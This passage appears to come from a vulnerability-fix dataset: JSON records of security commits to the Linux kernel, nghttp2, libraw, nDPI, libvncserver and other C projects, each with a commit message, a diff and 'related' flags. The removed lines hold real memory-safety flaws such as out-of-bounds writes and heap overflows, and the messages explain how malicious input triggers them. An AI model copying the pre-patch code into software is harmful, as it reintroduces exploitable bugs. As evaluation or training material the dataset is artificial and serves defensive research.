(!conn)\n+ return;\n+\n+ char buf[1024];\n+ int bytes;\n+\n+ while ((bytes = mutt_socket_poll(conn, 0)) > 0)\n+ {\n+ mutt_socket_read(conn, buf, MIN(bytes, sizeof(buf)));\n+ }\n+}", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/xdp/xdp_umem.c", "commit_id": "99e3a236dd43d06c65af0a2ef9cb44306aef6e02", "commit_message": "xsk: Add missing check on user supplied headroom size\n\nAdd a check that the headroom cannot be larger than the available\nspace in the chunk. In the current code, a malicious user can set the\nheadroom to a value larger than the chunk size minus the fixed XDP\nheadroom. That way packets with a length larger than the supported\nsize in the umem could get accepted and result in an out-of-bounds\nwrite.\n\nFixes: c0c77d8fb787 (\"xsk: add user memory registration support sockopt\")\nReported-by: Bui Quang Minh \nSigned-off-by: Magnus Karlsson \nSigned-off-by: Daniel Borkmann \nLink: https://bugzilla.kernel.org/show_bug.cgi?id=207225\nLink: https://lore.kernel.org/bpf/1586849715-23490-1-git-send-email-magnus.karlsson@intel.com", "patch": "@@ -343,7 +343,7 @@ static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr)\n \tu32 chunk_size = mr->chunk_size, headroom = mr->headroom;\n \tunsigned int chunks, chunks_per_page;\n \tu64 addr = mr->addr, size = mr->len;\n-\tint size_chk, err;\n+\tint err;\n \n \tif (chunk_size < XDP_UMEM_MIN_CHUNK_SIZE || chunk_size > PAGE_SIZE) {\n \t\t/* Strictly speaking we could support this, if:\n@@ -382,8 +382,7 @@ static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr)\n \t\t\treturn -EINVAL;\n \t}\n \n-\tsize_chk = chunk_size - headroom - XDP_PACKET_HEADROOM;\n-\tif (size_chk < 0)\n+\tif (headroom >= chunk_size - XDP_PACKET_HEADROOM)\n \t\treturn -EINVAL;\n \n \tumem->address = (unsigned long)addr;", "sections": [{"section": "@@ -343,7 +343,7 @@ static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr)\n \tu32 chunk_size = mr->chunk_size, headroom = mr->headroom;\n \tunsigned int chunks, chunks_per_page;\n \tu64 addr = mr->addr, size = mr->len;\n-\tint size_chk, err;\n+\tint err;\n \n \tif (chunk_size < XDP_UMEM_MIN_CHUNK_SIZE || chunk_size > PAGE_SIZE) {\n \t\t/* Strictly speaking we could support this, if:\n", "related": false}, {"section": "@@ -382,8 +382,7 @@ static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr)\n \t\t\treturn -EINVAL;\n \t}\n \n-\tsize_chk = chunk_size - headroom - XDP_PACKET_HEADROOM;\n-\tif (size_chk < 0)\n+\tif (headroom >= chunk_size - XDP_PACKET_HEADROOM)\n \t\treturn -EINVAL;\n \n \tumem->address = (unsigned long)addr;", "related": false}]} +{"owner": "libvnc", "repo": "libvncserver", "language": "C", "file_name": "libvncserver/corre.c", "commit_id": "74e8a70f2c9a5248d6718ce443e07c7ed314dfff", "commit_message": "libvncserver: encodings: prevent OOB accesses", "patch": "@@ -233,7 +233,7 @@ subrectEncode##bpp(rfbClientPtr client, uint##bpp##_t *data, int w, int h) {\n seg = data+(j*w); \\\n if (seg[x] != cl) {break;} \\\n i = x; \\\n- while ((seg[i] == cl) && (i < w)) i += 1; \\\n+ while ((i < w) && (seg[i] == cl)) i += 1; \\\n i -= 1; \\\n if (j == y) vx = hx = i; \\\n if (i < vx) vx = i; \\", "sections": [{"section": "@@ -233,7 +233,7 @@ subrectEncode##bpp(rfbClientPtr client, uint##bpp##_t *data, int w, int h) {\n seg = data+(j*w); \\\n if (seg[x] != cl) {break;} \\\n i = x; \\\n- while ((seg[i] == cl) && (i < w)) i += 1; \\\n+ while ((i < w) && (seg[i] == cl)) i += 1; \\\n i -= 1; \\\n if (j == y) vx = hx = i; \\\n if (i < vx) vx = i; \\", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/wireless/marvell/mwifiex/wmm.c", "commit_id": "3a9b153c5591548612c3955c9600a98150c81875", "commit_message": "mwifiex: Fix possible buffer overflows in mwifiex_ret_wmm_get_status()\n\nmwifiex_ret_wmm_get_status() calls memcpy() without checking the\ndestination size.Since the source is given from remote AP which\ncontains illegal wmm elements , this may trigger a heap buffer\noverflow.\nFix it by putting the length check before calling memcpy().\n\nSigned-off-by: Qing Xu \nSigned-off-by: Kalle Valo ", "patch": "@@ -970,6 +970,10 @@ int mwifiex_ret_wmm_get_status(struct mwifiex_private *priv,\n \t\t\t\t \"WMM Parameter Set Count: %d\\n\",\n \t\t\t\t wmm_param_ie->qos_info_bitmap & mask);\n \n+\t\t\tif (wmm_param_ie->vend_hdr.len + 2 >\n+\t\t\t\tsizeof(struct ieee_types_wmm_parameter))\n+\t\t\t\tbreak;\n+\n \t\t\tmemcpy((u8 *) &priv->curr_bss_params.bss_descriptor.\n \t\t\t wmm_ie, wmm_param_ie,\n \t\t\t wmm_param_ie->vend_hdr.len + 2);", "sections": [{"section": "@@ -970,6 +970,10 @@ int mwifiex_ret_wmm_get_status(struct mwifiex_private *priv,\n \t\t\t\t \"WMM Parameter Set Count: %d\\n\",\n \t\t\t\t wmm_param_ie->qos_info_bitmap & mask);\n \n+\t\t\tif (wmm_param_ie->vend_hdr.len + 2 >\n+\t\t\t\tsizeof(struct ieee_types_wmm_parameter))\n+\t\t\t\tbreak;\n+\n \t\t\tmemcpy((u8 *) &priv->curr_bss_params.bss_descriptor.\n \t\t\t wmm_ie, wmm_param_ie,\n \t\t\t wmm_param_ie->vend_hdr.len + 2);", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/mempolicy.c", "commit_id": "aa9f7d5172fac9bf1f09e678c35e287a40a7b7dd", "commit_message": "mm: mempolicy: require at least one nodeid for MPOL_PREFERRED\n\nUsing an empty (malformed) nodelist that is not caught during mount option\nparsing leads to a stack-out-of-bounds access.\n\nThe option string that was used was: \"mpol=prefer:,\". However,\nMPOL_PREFERRED requires a single node number, which is not being provided\nhere.\n\nAdd a check that 'nodes' is not empty after parsing for MPOL_PREFERRED's\nnodeid.\n\nFixes: 095f1fc4ebf3 (\"mempolicy: rework shmem mpol parsing and display\")\nReported-by: Entropy Moe <3ntr0py1337@gmail.com>\nReported-by: syzbot+b055b1a6b2b958707a21@syzkaller.appspotmail.com\nSigned-off-by: Randy Dunlap \nSigned-off-by: Andrew Morton \nTested-by: syzbot+b055b1a6b2b958707a21@syzkaller.appspotmail.com\nCc: Lee Schermerhorn \nLink: http://lkml.kernel.org/r/89526377-7eb6-b662-e1d8-4430928abde9@infradead.org\nSigned-off-by: Linus Torvalds ", "patch": "@@ -2898,14 +2898,18 @@ int mpol_parse_str(char *str, struct mempolicy **mpol)\n \tswitch (mode) {\n \tcase MPOL_PREFERRED:\n \t\t/*\n-\t\t * Insist on a nodelist of one node only\n+\t\t * Insist on a nodelist of one node only, although later\n+\t\t * we use first_node(nodes) to grab a single node, so here\n+\t\t * nodelist (or nodes) cannot be empty.\n \t\t */\n \t\tif (nodelist) {\n \t\t\tchar *rest = nodelist;\n \t\t\twhile (isdigit(*rest))\n \t\t\t\trest++;\n \t\t\tif (*rest)\n \t\t\t\tgoto out;\n+\t\t\tif (nodes_empty(nodes))\n+\t\t\t\tgoto out;\n \t\t}\n \t\tbreak;\n \tcase MPOL_INTERLEAVE:", "sections": [{"section": "@@ -2898,14 +2898,18 @@ int mpol_parse_str(char *str, struct mempolicy **mpol)\n \tswitch (mode) {\n \tcase MPOL_PREFERRED:\n \t\t/*\n-\t\t * Insist on a nodelist of one node only\n+\t\t * Insist on a nodelist of one node only, although later\n+\t\t * we use first_node(nodes) to grab a single node, so here\n+\t\t * nodelist (or nodes) cannot be empty.\n \t\t */\n \t\tif (nodelist) {\n \t\t\tchar *rest = nodelist;\n \t\t\twhile (isdigit(*rest))\n \t\t\t\trest++;\n \t\t\tif (*rest)\n \t\t\t\tgoto out;\n+\t\t\tif (nodes_empty(nodes))\n+\t\t\t\tgoto out;\n \t\t}\n \t\tbreak;\n \tcase MPOL_INTERLEAVE:", "related": false}]} +{"owner": "nghttp2", "repo": "nghttp2", "language": "C", "file_name": "lib/nghttp2_session.c", "commit_id": "336a98feb0d56b9ac54e12736b18785c27f75090", "commit_message": "Implement max settings option", "patch": "@@ -458,6 +458,7 @@ static int session_new(nghttp2_session **session_ptr,\n \n (*session_ptr)->max_send_header_block_length = NGHTTP2_MAX_HEADERSLEN;\n (*session_ptr)->max_outbound_ack = NGHTTP2_DEFAULT_MAX_OBQ_FLOOD_ITEM;\n+ (*session_ptr)->max_settings = NGHTTP2_DEFAULT_MAX_SETTINGS;\n \n if (option) {\n if ((option->opt_set_mask & NGHTTP2_OPT_NO_AUTO_WINDOW_UPDATE) &&\n@@ -521,6 +522,11 @@ static int session_new(nghttp2_session **session_ptr,\n if (option->opt_set_mask & NGHTTP2_OPT_MAX_OUTBOUND_ACK) {\n (*session_ptr)->max_outbound_ack = option->max_outbound_ack;\n }\n+\n+ if ((option->opt_set_mask & NGHTTP2_OPT_MAX_SETTINGS) &&\n+ option->max_settings) {\n+ (*session_ptr)->max_settings = option->max_settings;\n+ }\n }\n \n rv = nghttp2_hd_deflate_init2(&(*session_ptr)->hd_deflater,\n@@ -5657,6 +5663,16 @@ ssize_t nghttp2_session_mem_recv(nghttp2_session *session, const uint8_t *in,\n iframe->max_niv =\n iframe->frame.hd.length / NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH + 1;\n \n+ if (iframe->max_niv - 1 > session->max_settings) {\n+ rv = nghttp2_session_terminate_session_with_reason(\n+ session, NGHTTP2_ENHANCE_YOUR_CALM,\n+ \"SETTINGS: too many setting entries\");\n+ if (nghttp2_is_fatal(rv)) {\n+ return rv;\n+ }\n+ return (ssize_t)inlen;\n+ }\n+\n iframe->iv = nghttp2_mem_malloc(mem, sizeof(nghttp2_settings_entry) *\n iframe->max_niv);\n \n@@ -7425,6 +7441,11 @@ static int nghttp2_session_upgrade_internal(nghttp2_session *session,\n if (settings_payloadlen % NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH) {\n return NGHTTP2_ERR_INVALID_ARGUMENT;\n }\n+ /* SETTINGS frame contains too many settings */\n+ if (settings_payloadlen / NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH\n+ > session->max_settings) {\n+ return NGHTTP2_ERR_TOO_MANY_SETTINGS;\n+ }\n rv = nghttp2_frame_unpack_settings_payload2(&iv, &niv, settings_payload,\n settings_payloadlen, mem);\n if (rv != 0) {", "sections": [{"section": "@@ -458,6 +458,7 @@ static int session_new(nghttp2_session **session_ptr,\n \n (*session_ptr)->max_send_header_block_length = NGHTTP2_MAX_HEADERSLEN;\n (*session_ptr)->max_outbound_ack = NGHTTP2_DEFAULT_MAX_OBQ_FLOOD_ITEM;\n+ (*session_ptr)->max_settings = NGHTTP2_DEFAULT_MAX_SETTINGS;\n \n if (option) {\n if ((option->opt_set_mask & NGHTTP2_OPT_NO_AUTO_WINDOW_UPDATE) &&\n", "related": false}, {"section": "@@ -521,6 +522,11 @@ static int session_new(nghttp2_session **session_ptr,\n if (option->opt_set_mask & NGHTTP2_OPT_MAX_OUTBOUND_ACK) {\n (*session_ptr)->max_outbound_ack = option->max_outbound_ack;\n }\n+\n+ if ((option->opt_set_mask & NGHTTP2_OPT_MAX_SETTINGS) &&\n+ option->max_settings) {\n+ (*session_ptr)->max_settings = option->max_settings;\n+ }\n }\n \n rv = nghttp2_hd_deflate_init2(&(*session_ptr)->hd_deflater,\n", "related": false}, {"section": "@@ -5657,6 +5663,16 @@ ssize_t nghttp2_session_mem_recv(nghttp2_session *session, const uint8_t *in,\n iframe->max_niv =\n iframe->frame.hd.length / NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH + 1;\n \n+ if (iframe->max_niv - 1 > session->max_settings) {\n+ rv = nghttp2_session_terminate_session_with_reason(\n+ session, NGHTTP2_ENHANCE_YOUR_CALM,\n+ \"SETTINGS: too many setting entries\");\n+ if (nghttp2_is_fatal(rv)) {\n+ return rv;\n+ }\n+ return (ssize_t)inlen;\n+ }\n+\n iframe->iv = nghttp2_mem_malloc(mem, sizeof(nghttp2_settings_entry) *\n iframe->max_niv);\n \n", "related": false}, {"section": "@@ -7425,6 +7441,11 @@ static int nghttp2_session_upgrade_internal(nghttp2_session *session,\n if (settings_payloadlen % NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH) {\n return NGHTTP2_ERR_INVALID_ARGUMENT;\n }\n+ /* SETTINGS frame contains too many settings */\n+ if (settings_payloadlen / NGHTTP2_FRAME_SETTINGS_ENTRY_LENGTH\n+ > session->max_settings) {\n+ return NGHTTP2_ERR_TOO_MANY_SETTINGS;\n+ }\n rv = nghttp2_frame_unpack_settings_payload2(&iv, &niv, settings_payload,\n settings_payloadlen, mem);\n if (rv != 0) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/random.h", "commit_id": "f227e3ec3b5cad859ad15666874405e8c1bbc1d4", "commit_message": "random32: update the net random state on interrupt and activity\n\nThis modifies the first 32 bits out of the 128 bits of a random CPU's\nnet_rand_state on interrupt or CPU activity to complicate remote\nobservations that could lead to guessing the network RNG's internal\nstate.\n\nNote that depending on some network devices' interrupt rate moderation\nor binding, this re-seeding might happen on every packet or even almost\nnever.\n\nIn addition, with NOHZ some CPUs might not even get timer interrupts,\nleaving their local state rarely updated, while they are running\nnetworked processes making use of the random state. For this reason, we\nalso perform this update in update_process_times() in order to at least\nupdate the state when there is user or system activity, since it's the\nonly case we care about.\n\nReported-by: Amit Klein \nSuggested-by: Linus Torvalds \nCc: Eric Dumazet \nCc: \"Jason A. Donenfeld\" \nCc: Andy Lutomirski \nCc: Kees Cook \nCc: Thomas Gleixner \nCc: Peter Zijlstra \nCc: \nSigned-off-by: Willy Tarreau \nSigned-off-by: Linus Torvalds ", "patch": "@@ -11,6 +11,7 @@\n #include \n #include \n #include \n+#include \n \n #include \n \n@@ -119,6 +120,8 @@ struct rnd_state {\n \t__u32 s1, s2, s3, s4;\n };\n \n+DECLARE_PER_CPU(struct rnd_state, net_rand_state) __latent_entropy;\n+\n u32 prandom_u32_state(struct rnd_state *state);\n void prandom_bytes_state(struct rnd_state *state, void *buf, size_t nbytes);\n void prandom_seed_full_state(struct rnd_state __percpu *pcpu_state);", "sections": [{"section": "@@ -11,6 +11,7 @@\n #include \n #include \n #include \n+#include \n \n #include \n \n", "related": false}, {"section": "@@ -119,6 +120,8 @@ struct rnd_state {\n \t__u32 s1, s2, s3, s4;\n };\n \n+DECLARE_PER_CPU(struct rnd_state, net_rand_state) __latent_entropy;\n+\n u32 prandom_u32_state(struct rnd_state *state);\n void prandom_bytes_state(struct rnd_state *state, void *buf, size_t nbytes);\n void prandom_seed_full_state(struct rnd_state __percpu *pcpu_state);", "related": false}]} +{"owner": "libredwg", "repo": "libredwg", "language": "C", "file_name": "src/bits.c", "commit_id": "b84c2cab55948a5ee70860779b2640913e3ee1ed", "commit_message": "encode: protect from stack under-flow\n\nFrom GH #178 fuzzing", "patch": "@@ -953,7 +953,7 @@ bit_write_UMC (Bit_Chain *dat, BITCODE_UMC val)\n if (byte[i] & 0x7f)\n break;\n \n- if (byte[i] & 0x40)\n+ if (byte[i] & 0x40 && i > 0)\n i--;\n byte[i] &= 0x7f;\n for (j = 4; j >= i; j--)", "sections": [{"section": "@@ -953,7 +953,7 @@ bit_write_UMC (Bit_Chain *dat, BITCODE_UMC val)\n if (byte[i] & 0x7f)\n break;\n \n- if (byte[i] & 0x40)\n+ if (byte[i] & 0x40 && i > 0)\n i--;\n byte[i] &= 0x7f;\n for (j = 4; j >= i; j--)", "related": false}]} +{"owner": "lua", "repo": "lua", "language": "C", "file_name": "ldo.h", "commit_id": "eb41999461b6f428186c55abd95f4ce1a76217d5", "commit_message": "Fixed bugs of stack reallocation x GC\n\nMacro 'checkstackGC' was doing a GC step after resizing the stack;\nthe GC could shrink the stack and undo the resize. Moreover, macro\n'checkstackp' also does a GC step, which could remove the preallocated\nCallInfo when calling a function. (Its name has been changed to\n'checkstackGCp' to emphasize that it calls the GC.)", "patch": "@@ -17,6 +17,8 @@\n ** Macro to check stack size and grow stack if needed. Parameters\n ** 'pre'/'pos' allow the macro to preserve a pointer into the\n ** stack across reallocations, doing the work only when needed.\n+** It also allows the running of one GC step when the stack is\n+** reallocated.\n ** 'condmovestack' is used in heavy tests to force a stack reallocation\n ** at every check.\n */\n@@ -35,7 +37,7 @@\n \n \n /* macro to check stack size, preserving 'p' */\n-#define checkstackp(L,n,p) \\\n+#define checkstackGCp(L,n,p) \\\n luaD_checkstackaux(L, n, \\\n ptrdiff_t t__ = savestack(L, p); /* save 'p' */ \\\n luaC_checkGC(L), /* stack grow uses memory */ \\\n@@ -44,7 +46,7 @@\n \n /* macro to check stack size and GC */\n #define checkstackGC(L,fsize) \\\n-\tluaD_checkstackaux(L, (fsize), (void)0, luaC_checkGC(L))\n+\tluaD_checkstackaux(L, (fsize), luaC_checkGC(L), (void)0)\n \n \n /* type of protected functions, to be ran by 'runprotected' */", "sections": [{"section": "@@ -17,6 +17,8 @@\n ** Macro to check stack size and grow stack if needed. Parameters\n ** 'pre'/'pos' allow the macro to preserve a pointer into the\n ** stack across reallocations, doing the work only when needed.\n+** It also allows the running of one GC step when the stack is\n+** reallocated.\n ** 'condmovestack' is used in heavy tests to force a stack reallocation\n ** at every check.\n */\n", "related": false}, {"section": "@@ -35,7 +37,7 @@\n \n \n /* macro to check stack size, preserving 'p' */\n-#define checkstackp(L,n,p) \\\n+#define checkstackGCp(L,n,p) \\\n luaD_checkstackaux(L, n, \\\n ptrdiff_t t__ = savestack(L, p); /* save 'p' */ \\\n luaC_checkGC(L), /* stack grow uses memory */ \\\n", "related": false}, {"section": "@@ -44,7 +46,7 @@\n \n /* macro to check stack size and GC */\n #define checkstackGC(L,fsize) \\\n-\tluaD_checkstackaux(L, (fsize), (void)0, luaC_checkGC(L))\n+\tluaD_checkstackaux(L, (fsize), luaC_checkGC(L), (void)0)\n \n \n /* type of protected functions, to be ran by 'runprotected' */", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C++", "file_name": "src/decoders/unpack_thumb.cpp", "commit_id": "20ad21c0d87ca80217aee47533d91e633ce1864d", "commit_message": "Thumbnail size range check", "patch": "@@ -33,6 +33,25 @@ int LibRaw::unpack_thumb(void)\n CHECK_ORDER_LOW(LIBRAW_PROGRESS_IDENTIFY);\n CHECK_ORDER_BIT(LIBRAW_PROGRESS_THUMB_LOAD);\n \n+#define THUMB_SIZE_CHECKT(A) \\\n+ do { \\\n+ if (INT64(A) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(A) > 0 && INT64(A) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n+#define THUMB_SIZE_CHECKTNZ(A) \\\n+ do { \\\n+ if (INT64(A) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(A) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n+\n+#define THUMB_SIZE_CHECKWH(W,H) \\\n+ do { \\\n+ if (INT64(W)*INT64(H) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(W)*INT64(H) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n try\n {\n if (!libraw_internal_data.internal_data.input)\n@@ -65,6 +84,7 @@ int LibRaw::unpack_thumb(void)\n \n if (INT64(ID.toffset) + tsize > ID.input->size() + THUMB_READ_BEYOND)\n throw LIBRAW_EXCEPTION_IO_EOF;\n+ THUMB_SIZE_CHECKT(tsize);\n }\n #else\n \tif (0) {}\n@@ -82,6 +102,8 @@ int LibRaw::unpack_thumb(void)\n ID.input->seek(ID.toffset, SEEK_SET);\n if (write_thumb == &LibRaw::jpeg_thumb)\n {\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n@@ -132,6 +154,8 @@ int LibRaw::unpack_thumb(void)\n if (colors != 1 && colors != 3)\n return LIBRAW_UNSUPPORTED_THUMBNAIL;\n \n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n+\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n@@ -172,6 +196,7 @@ int LibRaw::unpack_thumb(void)\n else if (write_thumb == &LibRaw::rollei_thumb)\n {\n int i;\n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n@@ -198,6 +223,7 @@ int LibRaw::unpack_thumb(void)\n if (t_bytesps > 1)\n throw LIBRAW_EXCEPTION_IO_CORRUPT; // 8-bit thumb, but parsed for more\n // bits\n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n int t_length = T.twidth * T.theight * t_colors;\n \n if (T.tlength &&\n@@ -219,6 +245,7 @@ int LibRaw::unpack_thumb(void)\n T.tcolors = 1;\n }\n T.tlength = total_size;\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n@@ -254,6 +281,8 @@ int LibRaw::unpack_thumb(void)\n if (T.thumb)\n free(T.thumb);\n \n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n T.thumb = (char *)malloc(T.tlength);\n if (!T.tcolors)\n T.tcolors = t_colors;\n@@ -278,6 +307,10 @@ int LibRaw::unpack_thumb(void)\n int i_length = T.twidth * T.theight * t_colors * 2;\n if (!T.tlength)\n T.tlength = o_length;\n+ THUMB_SIZE_CHECKTNZ(o_length);\n+ THUMB_SIZE_CHECKTNZ(i_length);\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n ushort *t_thumb = (ushort *)calloc(i_length, 1);\n ID.input->read(t_thumb, 1, i_length);\n if ((libraw_internal_data.unpacker_data.order == 0x4949) ==", "sections": [{"section": "@@ -33,6 +33,25 @@ int LibRaw::unpack_thumb(void)\n CHECK_ORDER_LOW(LIBRAW_PROGRESS_IDENTIFY);\n CHECK_ORDER_BIT(LIBRAW_PROGRESS_THUMB_LOAD);\n \n+#define THUMB_SIZE_CHECKT(A) \\\n+ do { \\\n+ if (INT64(A) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(A) > 0 && INT64(A) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n+#define THUMB_SIZE_CHECKTNZ(A) \\\n+ do { \\\n+ if (INT64(A) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(A) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n+\n+#define THUMB_SIZE_CHECKWH(W,H) \\\n+ do { \\\n+ if (INT64(W)*INT64(H) > 1024ULL * 1024ULL * LIBRAW_MAX_THUMBNAIL_MB) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ if (INT64(W)*INT64(H) < 64ULL) throw LIBRAW_EXCEPTION_IO_CORRUPT; \\\n+ } while (0)\n+\n try\n {\n if (!libraw_internal_data.internal_data.input)\n", "related": false}, {"section": "@@ -65,6 +84,7 @@ int LibRaw::unpack_thumb(void)\n \n if (INT64(ID.toffset) + tsize > ID.input->size() + THUMB_READ_BEYOND)\n throw LIBRAW_EXCEPTION_IO_EOF;\n+ THUMB_SIZE_CHECKT(tsize);\n }\n #else\n \tif (0) {}\n", "related": false}, {"section": "@@ -82,6 +102,8 @@ int LibRaw::unpack_thumb(void)\n ID.input->seek(ID.toffset, SEEK_SET);\n if (write_thumb == &LibRaw::jpeg_thumb)\n {\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n", "related": false}, {"section": "@@ -132,6 +154,8 @@ int LibRaw::unpack_thumb(void)\n if (colors != 1 && colors != 3)\n return LIBRAW_UNSUPPORTED_THUMBNAIL;\n \n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n+\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n", "related": false}, {"section": "@@ -172,6 +196,7 @@ int LibRaw::unpack_thumb(void)\n else if (write_thumb == &LibRaw::rollei_thumb)\n {\n int i;\n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n", "related": false}, {"section": "@@ -198,6 +223,7 @@ int LibRaw::unpack_thumb(void)\n if (t_bytesps > 1)\n throw LIBRAW_EXCEPTION_IO_CORRUPT; // 8-bit thumb, but parsed for more\n // bits\n+ THUMB_SIZE_CHECKWH(T.twidth, T.theight);\n int t_length = T.twidth * T.theight * t_colors;\n \n if (T.tlength &&\n", "related": false}, {"section": "@@ -219,6 +245,7 @@ int LibRaw::unpack_thumb(void)\n T.tcolors = 1;\n }\n T.tlength = total_size;\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n", "related": false}, {"section": "@@ -254,6 +281,8 @@ int LibRaw::unpack_thumb(void)\n if (T.thumb)\n free(T.thumb);\n \n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n T.thumb = (char *)malloc(T.tlength);\n if (!T.tcolors)\n T.tcolors = t_colors;\n", "related": false}, {"section": "@@ -278,6 +307,10 @@ int LibRaw::unpack_thumb(void)\n int i_length = T.twidth * T.theight * t_colors * 2;\n if (!T.tlength)\n T.tlength = o_length;\n+ THUMB_SIZE_CHECKTNZ(o_length);\n+ THUMB_SIZE_CHECKTNZ(i_length);\n+ THUMB_SIZE_CHECKTNZ(T.tlength);\n+\n ushort *t_thumb = (ushort *)calloc(i_length, 1);\n ID.input->read(t_thumb, 1, i_length);\n if ((libraw_internal_data.unpacker_data.order == 0x4949) ==", "related": false}]} +{"owner": "ntop", "repo": "ndpi", "language": "C", "file_name": "src/lib/protocols/oracle.c", "commit_id": "b69177be2fbe01c2442239a61832c44e40136c05", "commit_message": "Adds bound check in oracle protocol\n\nFound by oss-fuzz\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=21780", "patch": "@@ -43,7 +43,7 @@ void ndpi_search_oracle(struct ndpi_detection_module_struct *ndpi_struct, struct\n NDPI_LOG_DBG2(ndpi_struct, \"calculating ORACLE over tcp\\n\");\n /* Oracle Database 9g,10g,11g */\n if ((dport == 1521 || sport == 1521)\n-\t&& (((packet->payload[0] == 0x07) && (packet->payload[1] == 0xff) && (packet->payload[2] == 0x00))\n+\t&& (((packet->payload_packet_len >= 3 && packet->payload[0] == 0x07) && (packet->payload[1] == 0xff) && (packet->payload[2] == 0x00))\n \t || ((packet->payload_packet_len >= 232) && ((packet->payload[0] == 0x00) || (packet->payload[0] == 0x01)) \n \t && (packet->payload[1] != 0x00)\n \t && (packet->payload[2] == 0x00)", "sections": [{"section": "@@ -43,7 +43,7 @@ void ndpi_search_oracle(struct ndpi_detection_module_struct *ndpi_struct, struct\n NDPI_LOG_DBG2(ndpi_struct, \"calculating ORACLE over tcp\\n\");\n /* Oracle Database 9g,10g,11g */\n if ((dport == 1521 || sport == 1521)\n-\t&& (((packet->payload[0] == 0x07) && (packet->payload[1] == 0xff) && (packet->payload[2] == 0x00))\n+\t&& (((packet->payload_packet_len >= 3 && packet->payload[0] == 0x07) && (packet->payload[1] == 0xff) && (packet->payload[2] == 0x00))\n \t || ((packet->payload_packet_len >= 232) && ((packet->payload[0] == 0x00) || (packet->payload[0] == 0x01)) \n \t && (packet->payload[1] != 0x00)\n \t && (packet->payload[2] == 0x00)", "related": false}]} +{"owner": "net-snmp", "repo": "net-snmp", "language": "C", "file_name": "include/net-snmp/library/parse.h", "commit_id": "4fd9a450444a434a993bc72f7c3486ccce41f602", "commit_message": "CHANGES: snmpd: Stop reading and writing the mib_indexes/* files\n\nCaching directory contents is something the operating system should do\nand is not something Net-SNMP should do. Instead of storing a copy of\nthe directory contents in ${tmp_dir}/mib_indexes/${n}, always scan a\nMIB directory.", "patch": "@@ -201,7 +201,7 @@ SOFTWARE.\n #endif\n void netsnmp_init_mib_internals(void);\n void unload_all_mibs(void);\n- int add_mibfile(const char*, const char*, FILE *);\n+ int add_mibfile(const char*, const char*);\n int which_module(const char *);\n NETSNMP_IMPORT\n char *module_name(int, char *);", "sections": [{"section": "@@ -201,7 +201,7 @@ SOFTWARE.\n #endif\n void netsnmp_init_mib_internals(void);\n void unload_all_mibs(void);\n- int add_mibfile(const char*, const char*, FILE *);\n+ int add_mibfile(const char*, const char*);\n int which_module(const char *);\n NETSNMP_IMPORT\n char *module_name(int, char *);", "related": false}]} +{"owner": "10gen-archive", "repo": "mongo-c-driver-legacy", "language": "C", "file_name": "src/bcon.c", "commit_id": "1a1f5e26a4309480d88598913f9eebf9e9cba8ca", "commit_message": "don't mix up int and size_t (first pass to fix that)", "patch": "@@ -172,7 +172,7 @@ static bcon_error_t bson_append_bcon_with_state(bson *b, const bcon *bc, bcon_st\n unsigned char doc_stack[DOC_STACK_SIZE];\n size_t doc_stack_pointer = 0;\n size_t 